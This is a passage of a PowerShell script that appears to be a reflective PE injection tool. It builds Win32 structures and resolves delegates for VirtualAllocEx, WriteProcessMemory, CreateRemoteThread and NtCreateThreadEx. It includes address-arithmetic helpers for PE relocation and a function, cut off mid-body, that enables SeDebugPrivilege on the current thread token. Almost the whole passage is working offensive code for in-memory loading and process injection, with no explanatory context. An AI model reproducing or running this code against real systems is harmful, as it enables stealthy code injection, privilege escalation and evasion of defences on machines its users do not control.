  366.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  367.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
  368.         $LUID = $TypeBuilder.CreateType()
  369.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
  370.  
  371.  
  372.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  373.         $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
  374.         $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
  375.         $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
  376.         $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
  377.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
  378.  
  379.  
  380.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  381.         $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
  382.         $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
  383.         $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
  384.         $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
  385.         $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
  386.  
  387.         return $Win32Types
  388.     }
  389.  
  390.     Function Get-Win32Constants
  391.     {
  392.         $Win32Constants = New-Object System.Object
  393.  
  394.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
  395.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
  396.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
  397.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
  398.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
  399.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
  400.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
  401.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
  402.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
  403.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
  404.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
  405.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
  406.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
  407.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
  408.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
  409.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
  410.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
  411.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
  412.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
  413.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
  414.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
  415.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
  416.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
  417.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
  418.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
  419.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
  420.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
  421.         $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
  422.         $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
  423.  
  424.         return $Win32Constants
  425.     }
  426.  
  427.     Function Get-Win32Functions
  428.     {
  429.         $Win32Functions = New-Object System.Object
  430.  
  431.         $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
  432.         $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  433.         $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
  434.         $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
  435.  
  436.         $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
  437.         $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  438.         $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
  439.         $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
  440.  
  441.         $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
  442.         $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  443.         $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
  444.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
  445.  
  446.         $memsetAddr = Get-ProcAddress msvcrt.dll memset
  447.         $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  448.         $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
  449.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
  450.  
  451.         $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
  452.         $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
  453.         $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
  454.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
  455.  
  456.         $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
  457.         $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
  458.         $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
  459.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
  460.  
  461.         $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress
  462.         $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
  463.         $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
  464.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
  465.  
  466.         $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
  467.         $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  468.         $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
  469.         $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
  470.  
  471.         $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
  472.         $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  473.         $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
  474.         $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
  475.  
  476.         $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
  477.         $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
  478.         $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
  479.         $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
  480.  
  481.         $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
  482.         $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
  483.         $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
  484.         $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
  485.  
  486.         $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
  487.         $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
  488.         $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
  489.         $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
  490.  
  491.         $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
  492.         $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
  493.         $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
  494.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
  495.  
  496.         $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
  497.         $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
  498.         $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
  499.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
  500.  
  501.         $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
  502.        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  503.        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
  504.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
  505.  
  506.         $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
  507.        $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  508.        $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
  509.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
  510.  
  511.         $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
  512.        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  513.        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
  514.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
  515.  
  516.         $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
  517.        $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
  518.        $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
  519.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
  520.  
  521.         $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
  522.        $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
  523.        $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
  524.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
  525.  
  526.         $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
  527.        $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
  528.        $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
  529.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
  530.  
  531.         $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
  532.        $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  533.        $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
  534.         $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
  535.  
  536.         $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
  537.        $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
  538.        $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
  539.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
  540.  
  541.         $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
  542.        $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
  543.        $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
  544.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
  545.  
  546.  
  547.        if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
  548.             $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
  549.            $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  550.            $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
  551.             $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
  552.        }
  553.  
  554.         $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
  555.        $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
  556.        $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
  557.         $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
  558.  
  559.         $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
  560.        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
  561.        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
  562.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
  563.  
  564.         return $Win32Functions
  565.     }
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.  
  574.  
  575.     Function Sub-SignedIntAsUnsigned
  576.     {
  577.         Param(
  578.         [Parameter(Position = 0, Mandatory = $true)]
  579.         [Int64]
  580.         $Value1,
  581.  
  582.         [Parameter(Position = 1, Mandatory = $true)]
  583.         [Int64]
  584.         $Value2
  585.         )
  586.  
  587.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  588.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  589.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  590.  
  591.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  592.         {
  593.             $CarryOver = 0
  594.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  595.             {
  596.                 $Val = $Value1Bytes[$i] - $CarryOver
  597.  
  598.                 if ($Val -lt $Value2Bytes[$i])
  599.                 {
  600.                     $Val += 256
  601.                     $CarryOver = 1
  602.                 }
  603.                 else
  604.                 {
  605.                     $CarryOver = 0
  606.                 }
  607.  
  608.  
  609.                 [UInt16]$Sum = $Val - $Value2Bytes[$i]
  610.  
  611.                 $FinalBytes[$i] = $Sum -band 0x00FF
  612.             }
  613.         }
  614.         else
  615.         {
  616.             Throw "Cannot subtract bytearrays of different sizes"
  617.         }
  618.  
  619.         return [BitConverter]::ToInt64($FinalBytes, 0)
  620.     }
  621.  
  622.  
  623.     Function Add-SignedIntAsUnsigned
  624.     {
  625.         Param(
  626.         [Parameter(Position = 0, Mandatory = $true)]
  627.         [Int64]
  628.         $Value1,
  629.  
  630.         [Parameter(Position = 1, Mandatory = $true)]
  631.         [Int64]
  632.         $Value2
  633.         )
  634.  
  635.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  636.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  637.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  638.  
  639.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  640.         {
  641.             $CarryOver = 0
  642.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  643.             {
  644.  
  645.                 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
  646.  
  647.                 $FinalBytes[$i] = $Sum -band 0x00FF
  648.  
  649.                 if (($Sum -band 0xFF00) -eq 0x100)
  650.                 {
  651.                     $CarryOver = 1
  652.                 }
  653.                 else
  654.                 {
  655.                     $CarryOver = 0
  656.                 }
  657.             }
  658.         }
  659.         else
  660.         {
  661.             Throw "Cannot add bytearrays of different sizes"
  662.         }
  663.  
  664.         return [BitConverter]::ToInt64($FinalBytes, 0)
  665.     }
  666.  
  667.  
  668.     Function Compare-Val1GreaterThanVal2AsUInt
  669.     {
  670.         Param(
  671.         [Parameter(Position = 0, Mandatory = $true)]
  672.         [Int64]
  673.         $Value1,
  674.  
  675.         [Parameter(Position = 1, Mandatory = $true)]
  676.         [Int64]
  677.         $Value2
  678.         )
  679.  
  680.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  681.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  682.  
  683.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  684.         {
  685.             for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
  686.             {
  687.                 if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
  688.                 {
  689.                     return $true
  690.                 }
  691.                 elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
  692.                 {
  693.                     return $false
  694.                 }
  695.             }
  696.         }
  697.         else
  698.         {
  699.             Throw "Cannot compare byte arrays of different size"
  700.         }
  701.  
  702.         return $false
  703.     }
  704.  
  705.  
  706.     Function Convert-UIntToInt
  707.     {
  708.         Param(
  709.         [Parameter(Position = 0, Mandatory = $true)]
  710.         [UInt64]
  711.         $Value
  712.         )
  713.  
  714.         [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
  715.         return ([BitConverter]::ToInt64($ValueBytes, 0))
  716.     }
  717.  
  718.  
  719.    Function Get-Hex
  720.    {
  721.        Param(
  722.        [Parameter(Position = 0, Mandatory = $true)]
  723.        $Value
  724.        )
  725.  
  726.        $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
  727.        $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value
  728.  
  729.        return $Hex
  730.    }
  731.  
  732.  
  733.     Function Test-MemoryRangeValid
  734.     {
  735.         Param(
  736.         [Parameter(Position = 0, Mandatory = $true)]
  737.         [String]
  738.         $DebugString,
  739.  
  740.         [Parameter(Position = 1, Mandatory = $true)]
  741.         [System.Object]
  742.         $PEInfo,
  743.  
  744.         [Parameter(Position = 2, Mandatory = $true)]
  745.         [IntPtr]
  746.         $StartAddress,
  747.  
  748.         [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
  749.         [IntPtr]
  750.         $Size
  751.         )
  752.  
  753.         [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
  754.  
  755.         $PEEndAddress = $PEInfo.EndAddress
  756.  
  757.         if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
  758.         {
  759.             Throw "Trying to write to memory smaller than allocated address range. $DebugString"
  760.         }
  761.         if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
  762.         {
  763.             Throw "Trying to write to memory greater than allocated address range. $DebugString"
  764.         }
  765.     }
  766.  
  767.  
  768.     Function Write-BytesToMemory
  769.     {
  770.         Param(
  771.             [Parameter(Position=0, Mandatory = $true)]
  772.             [Byte[]]
  773.             $Bytes,
  774.  
  775.             [Parameter(Position=1, Mandatory = $true)]
  776.             [IntPtr]
  777.             $MemoryAddress
  778.         )
  779.  
  780.         for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
  781.         {
  782.             [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
  783.         }
  784.     }
  785.  
  786.  
  787.  
  788.     Function Get-DelegateType
  789.     {
  790.         Param
  791.         (
  792.             [OutputType([Type])]
  793.  
  794.             [Parameter( Position = 0)]
  795.             [Type[]]
  796.             $Parameters = (New-Object Type[](0)),
  797.  
  798.             [Parameter( Position = 1 )]
  799.             [Type]
  800.             $ReturnType = [Void]
  801.         )
  802.  
  803.         $Domain = [AppDomain]::CurrentDomain
  804.         $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  805.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  806.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  807.         $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  808.         $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
  809.         $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  810.         $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
  811.         $MethodBuilder.SetImplementationFlags('Runtime, Managed')
  812.  
  813.         Write-Output $TypeBuilder.CreateType()
  814.     }
  815.  
  816.  
  817.  
  818.     Function Get-ProcAddress
  819.     {
  820.         Param
  821.         (
  822.             [OutputType([IntPtr])]
  823.  
  824.             [Parameter( Position = 0, Mandatory = $True )]
  825.             [String]
  826.             $Module,
  827.  
  828.             [Parameter( Position = 1, Mandatory = $True )]
  829.             [String]
  830.             $Procedure
  831.         )
  832.  
  833.  
  834.         $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
  835.             Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }
  836.         $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
  837.  
  838.         $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
  839.  
  840.         Try
  841.         {
  842.             $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
  843.         }
  844.         Catch
  845.         {
  846.             $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
  847.                                                            [reflection.bindingflags] "Public,Static",
  848.                                                            $null,
  849.                                                            [System.Reflection.CallingConventions]::Any,
  850.                                                            @((New-Object System.Runtime.InteropServices.HandleRef).GetType(),
  851.                                                            [string]),
  852.                                                            $null)
  853.         }
  854.  
  855.  
  856.         $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
  857.         $tmpPtr = New-Object IntPtr
  858.         $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
  859.  
  860.  
  861.         Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
  862.     }
  863.  
  864.  
  865.     Function Enable-SeDebugPrivilege
  866.     {
  867.         Param(
  868.         [Parameter(Position = 1, Mandatory = $true)]
  869.         [System.Object]
  870.         $Win32Functions,
  871.  
  872.         [Parameter(Position = 2, Mandatory = $true)]
  873.         [System.Object]
  874.         $Win32Types,
  875.  
  876.         [Parameter(Position = 3, Mandatory = $true)]
  877.         [System.Object]
  878.         $Win32Constants
  879.         )
  880.  
  881.         [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
  882.         if ($ThreadHandle -eq [IntPtr]::Zero)
  883.         {
  884.             Throw "Unable to get the handle to the current thread"
  885.         }
  886.  
  887.         [IntPtr]$ThreadToken = [IntPtr]::Zero
  888.         [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  889.         if ($Result -eq $false)
  890.         {
  891.             $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  892.             if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
  893.             {
  894.                 $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
  895.                 if ($Result -eq $false)
  896.                 {
  897.                     Throw "Unable to impersonate self"
  898.                 }
  899.  
  900.                 $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  901.                 if ($Result -eq $false)
  902.                 {
  903.                     Throw "Unable to OpenThreadToken."
  904.                 }
  905.             }
  906.             else
  907.             {
  908.                 Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
  909.             }
  910.         }
  911.  
  912.         [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
  913.         $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
  914.         if ($Result -eq $false)
  915.         {
  916.             Throw "Unable to call LookupPrivilegeValue"
  917.         }
  918.  
  919.         [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
  920.         [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
  921.         $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
  922.         $TokenPrivileges.PrivilegeCount = 1
  923.         $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
  924.         $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
  925.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
  926.  
